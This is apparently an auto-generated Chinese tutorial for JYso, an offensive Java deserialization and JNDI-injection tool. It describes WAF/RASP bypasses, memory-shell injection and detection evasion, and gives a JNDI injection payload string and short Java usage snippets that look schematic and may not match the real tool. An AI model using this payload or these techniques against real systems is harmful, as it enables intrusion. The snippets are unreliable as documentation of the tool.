【亲测免费】 JYso 项目教程
2026-01-22 04:54:39作者:冯梦姬Eddie
1. 项目介绍
JYso 是一款多功能工具,可以同时作为 JNDIExploit 和 ysoserial 使用。它具备多种 JNDI 高版本、WAF、RASP 的 Bypass 功能,支持自定义修改内存马的路径、密码、验证的 HTTP 头与值,并且支持无文件落地 Agent 打入。JYso 还支持将内存马写入 JRE 或环境变量来隐藏,序列化数据加脏数据,以及进行 3 字节对应的 UTF-8 编码。此外,JYso 还支持 TemplatesImpl 的 _bytecodes 特征消除且做了大小缩减,以及 SignedObject 二次反序列化,可用于绕过如 TemplatesImpl 黑名单。
2. 项目快速启动
2.1 环境准备
确保你已经安装了 Java 和 Gradle。JYso 需要 Gradle 8.7+ 版本。
2.2 下载项目
git clone https://github.com/qi4L/JYso.git
cd JYso
2.3 编译项目
在项目根目录下执行以下命令进行编译:
./gradlew shadowJar
2.4 运行 JYso
编译完成后,生成的 JAR 文件位于 build/libs/ 目录下。你可以通过以下命令运行 JYso:
java -jar build/libs/JYso-all.jar
3. 应用案例和最佳实践
3.1 JNDI 注入攻击
JYso 可以用于执行 JNDI 注入攻击,绕过高版本的 JNDI 限制。以下是一个简单的示例:
String jndiUrl = "ldap://localhost:1389/Exploit";
String payload = "${jndi:" + jndiUrl + "}";
3.2 内存马注入
JYso 支持将内存马注入到目标系统中,以下是一个示例:
String memShellPath = "/path/to/memshell";
String memShellPassword = "password";
String httpHeader = "X-Auth";
String httpHeaderValue = "secret";
// 使用 JYso 注入内存马
JYso.injectMemShell(memShellPath, memShellPassword, httpHeader, httpHeaderValue);
3.3 序列化数据加脏数据
JYso 支持在序列化数据中加入脏数据,以绕过某些安全检测:
byte[] serializedData = ...; // 原始序列化数据
byte[] dirtyData = ...; // 脏数据
byte[] obfuscatedData = JYso.addDirtyData(serializedData, dirtyData);
4. 典型生态项目
4.1 Rogue JNDI
Rogue JNDI 是一个用于 JNDI 注入攻击的工具,JYso 可以与其结合使用,增强攻击效果。
4.2 ysoserial
ysoserial 是一个常用的 Java 反序列化漏洞利用工具,JYso 可以作为 ysoserial 的替代品,提供更多的功能和灵活性。
4.3 JNDI-Injection-Exploit
JNDI-Injection-Exploit 是一个专门用于 JNDI 注入攻击的工具,JYso 可以与其结合使用,提供更强大的攻击能力。
通过以上教程,你可以快速上手 JYso 项目,并了解其在实际应用中的使用方法和最佳实践。
登录后查看全文
热门项目推荐
相关项目推荐
GLM-5智谱 AI 正式发布 GLM-5,旨在应对复杂系统工程和长时域智能体任务。Jinja00
GLM-5.1GLM-5.1是智谱迄今最智能的旗舰模型,也是目前全球最强的开源模型。GLM-5.1大大提高了代码能力,在完成长程任务方面提升尤为显著。和此前分钟级交互的模型不同,它能够在一次任务中独立、持续工作超过8小时,期间自主规划、执行、自我进化,最终交付完整的工程级成果。Jinja00
LongCat-AudioDiT-1BLongCat-AudioDiT 是一款基于扩散模型的文本转语音(TTS)模型,代表了当前该领域的最高水平(SOTA),它直接在波形潜空间中进行操作。00- QQwen3.5-397B-A17BQwen3.5 实现了重大飞跃,整合了多模态学习、架构效率、强化学习规模以及全球可访问性等方面的突破性进展,旨在为开发者和企业赋予前所未有的能力与效率。Jinja00
HY-Embodied-0.5这是一套专为现实世界具身智能打造的基础模型。该系列模型采用创新的混合Transformer(Mixture-of-Transformers, MoT) 架构,通过潜在令牌实现模态特异性计算,显著提升了细粒度感知能力。Jinja00
FreeSql功能强大的对象关系映射(O/RM)组件,支持 .NET Core 2.1+、.NET Framework 4.0+、Xamarin 以及 AOT。C#00
热门内容推荐
最新内容推荐
个人知识系统构建指南:从信息碎片到思维网络的模块化解决方案高效解锁网易云音乐灰色歌曲:开源工具全平台部署指南如何高效采集B站评论数据?这款Python工具让数据获取效率提升10倍提升动态视觉体验:Waifu2x-Extension-GUI智能增强与效率提升指南革新性缠论分析工具:系统化构建股票技术指标体系终结AutoCAD字体痛点:FontCenter让99%的字体问题迎刃而解Atmosphere-NX PKG1启动错误解决方案如何用ComfyUI-WanVideoWrapper实现多模态视频生成?解锁AI创作新可能3行代码解锁无水印视频提取:这款开源工具如何让自媒体效率提升300%5分钟上手!零代码打造专业拓扑图的免费工具
项目优选
收起
OpenHarmony documentation | OpenHarmony开发者文档
Dockerfile
656
4.26 K
deepin linux kernel
C
27
14
Ascend Extension for PyTorch
Python
500
606
openEuler内核是openEuler操作系统的核心,既是系统性能与稳定性的基石,也是连接处理器、设备与服务的桥梁。
C
390
284
🎉 (RuoYi)官方仓库 基于SpringBoot,Spring Security,JWT,Vue3 & Vite、Element Plus 的前后端分离权限管理系统
Vue
1.54 K
890
本项目是CANN提供的数学类基础计算算子库,实现网络在NPU上加速计算。
C++
939
861
旨在打造算法先进、性能卓越、高效敏捷、安全可靠的密码套件,通过轻量级、可剪裁的软件技术架构满足各行业不同场景的多样化要求,让密码技术应用更简单,同时探索后量子等先进算法创新实践,构建密码前沿技术底座!
C
1.07 K
557
暂无简介
Dart
902
218
华为昇腾面向大规模分布式训练的多模态大模型套件,支撑多模态生成、多模态理解。
Python
132
207
AscendNPU-IR是基于MLIR(Multi-Level Intermediate Representation)构建的,面向昇腾亲和算子编译时使用的中间表示,提供昇腾完备表达能力,通过编译优化提升昇腾AI处理器计算效率,支持通过生态框架使能昇腾AI处理器与深度调优
C++
123
195